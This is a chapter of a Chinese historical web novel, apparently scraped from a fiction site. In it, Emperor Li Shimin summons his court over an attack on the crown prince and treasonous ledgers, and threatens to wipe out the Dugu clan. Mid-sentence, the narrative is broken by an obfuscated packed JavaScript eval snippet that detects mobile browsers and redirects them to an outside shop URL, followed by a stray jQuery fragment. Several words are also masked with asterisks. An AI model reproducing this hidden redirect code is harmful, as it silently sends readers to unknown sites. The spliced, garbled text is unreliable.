“砰!”
李世民一拳砸在案几上,厚重的紫檀木案面竟出现裂纹。粟米粥洒了一地,碗碟碎裂。
殿内所有宦官宫女齐刷刷跪下,瑟瑟发抖。
王德侍奉李世民二十余年,从未见他如此暴怒。即便是武德九年的玄武门前夕,即便是渭水之畔面对颉利可汗的二十万大军,皇帝都保持着可怕的冷静。
但今天,这份冷静碎了。
“传!”李世民的声音如寒冬北风,“房玄龄、长孙无忌、魏征、李靖、侯君集、萧瑀……所有在京三品以上官员,即刻进宫!”
他顿了顿,补充道:“让大理寺卿、刑部尚书、御史大夫也来。还有,十六卫大将军,全部到齐。”
“现在!马上!”
王德连滚爬起:“奴婢遵旨!”
消息像野火一样蔓延。
太子在洛阳**,独孤家被抄出通敌账册,皇帝震怒,紧急召见群臣……每一个词都足以让长安城地震。
长孙无忌正在府中用早膳,听到管家禀报,筷子停在半空。
“独孤家……”他缓缓放下筷子,“怀义兄,你糊涂啊。”
作为关陇集团的核心人物,长孙无忌太清楚独孤家的底细。
走私军械?或许有。贩卖私盐?肯定有。但私通突厥残部?他不信。
至少,不相信独孤怀义有这个胆子。
那么账册从何而来?是真的,还是栽赃?
若是真的,谁把这么要命的东西放在独孤府书房暗格?若是栽赃,谁有这么大本事,能模仿独孤怀义的笔迹到以假乱真?
更重要的是,太子**,是谁动的手?
长孙无忌脑中飞速运转。
他想起半月前,几个关陇世家家主秘密聚会时,有人提议“给东宫一点教训”。
他当时严词反对,但那些人真的听了吗?
“备轿,”他起身,“进宫。”
与此同时,魏征府上。
这位以直言敢谏闻名的大唐谏议大夫,正在书房练字。
听到消息,他笔锋一顿,一幅即将完成的《谏太宗十思疏》抄本上,墨迹晕染开一大团。
“愚不可及!”魏征将笔重重搁下,“国之大政,竟用此等卑劣手段阻挠!该杀!都该杀!”
刺杀储君:这是底线,是朝堂**的底线,也是为臣的底线。
“更衣,进宫。”
房玄龄和萧瑀在皇城门口相遇。
两位大唐宰相对视一眼,都从对方眼中看到了凝重。
房玄龄低声道,“此事恐怕要掀翻半个朝堂。”
萧瑀咳嗽两声——他身体一直不好,今年尤为严重:“掀翻就掀翻吧。有些脓疮,不挤破,永远好不了。”
“可牵连太广……”
“玄龄,你记得陛下登基时说过什么吗?”
萧瑀看着巍峨的宫门,“他说,要做一件前无古人的事:让寒门与世家同朝,让天下英才尽入彀中。这些年,我们妥协得太多了。”
房玄龄沉默片刻,点头:“走吧,陛下该等急了。”
……
辰时三刻,甘露殿偏殿。
三十余位大唐最高级别的文武官员齐聚。文官紫袍,武将戎装,分列两侧。
殿内气氛凝重得能拧出水来。
李世民坐在御座上,面沉如水。那份急报就摊开在面前的案几上。
“都到了?”他扫视群臣,“好。王德,念。”
王德战战兢兢上前,拿起奏章,开始宣读。
当念到太子**细节时,殿内响起一片抽气声。
侯君集、程咬金等武将拳头紧握,眼中喷火。
李靖虽面色不变,但握笏的手背青筋暴起。
念到账册内容时,文官队列开始骚动。
有人脸色发白,有人额头冒汗,有人低头不敢直视皇帝。
念完了。
殿内死一般寂静。
李世民缓缓站起,走下御阶。他的脚步声在寂静的大殿中格外清晰,每一步都像踩在众人心上。
“诸卿,”他开口,声音平静,但平静之下是压抑到极致的怒火,“都听清楚了?”
无人应答。
“朕十六岁从军,二十二岁破薛举,二十三岁灭刘武周,二十四岁擒窦建德、王世充。二十八岁平刘黑闼、徐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906710|177268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圆朗。三十岁登基,三十二岁灭**厥。”
他一步步走着,目光扫过每一张脸。
“朕这一生,**无数。杀过敌军,杀过叛将,也杀过兄弟。”
这句话让所有人心中一凛。
“但朕从未想过,有朝一日,要杀自己人。杀那些与朕一起打下这江山的功臣,杀那些口口声声忠君爱国的臣子。”
他停在长孙无忌面前:“无忌,你是朕的布衣之交,是皇后的兄长,是太子的舅舅。你说,这些人该不该杀?”
长孙无忌躬身:“陛下,若账册属实,罪当万死。但臣以为,当详查……”
“详查?”李世民打断他,“查什么?查账册是不是真的?陈平!”
“臣在!”陈平出列。
“账册笔迹,可验过了?”
“验过了。臣携原件入京,已交由刑部笔迹比对。三位资深书吏独立查验,结论一致:系独孤怀义亲笔。”
“账册内容,可核实了?”
“部分核实。
贞观四年走私横刀一案,与兵部当年记录的三百柄制式横刀失踪案时间、数量吻合。
贞观五年私盐数额,与户部盐税亏空大致对得上。其余条目,尚需时日详查。”
李世民看向刑部尚书戴胄:“戴卿,你怎么说?”
戴胄是出名的不讲情面,以执法严明著称:“陛下,仅目前已核实部分,已是满门抄斩之罪。若通敌属实,当夷三族。”
“夷三族……”
李世民重复这三个字,忽然笑了,笑声冰冷。
“好啊,那就夷三族。”
“陛下!”
长孙无忌急道:“独孤氏乃关陇望族,与国同休。
若夷三族,牵连数千人,恐伤国本,请陛下三思!”
“伤国本?”
李世民猛地转身,“他们走私军械给突厥人的时候,想过国本吗?他们刺杀储君的时候,想过国本吗?!”
他声音陡然拔高:“朕告诉你们什么是国本!太子是国本!新政是国本!大唐的江山社稷是国本!谁动国本,朕就诛他全族!”
…………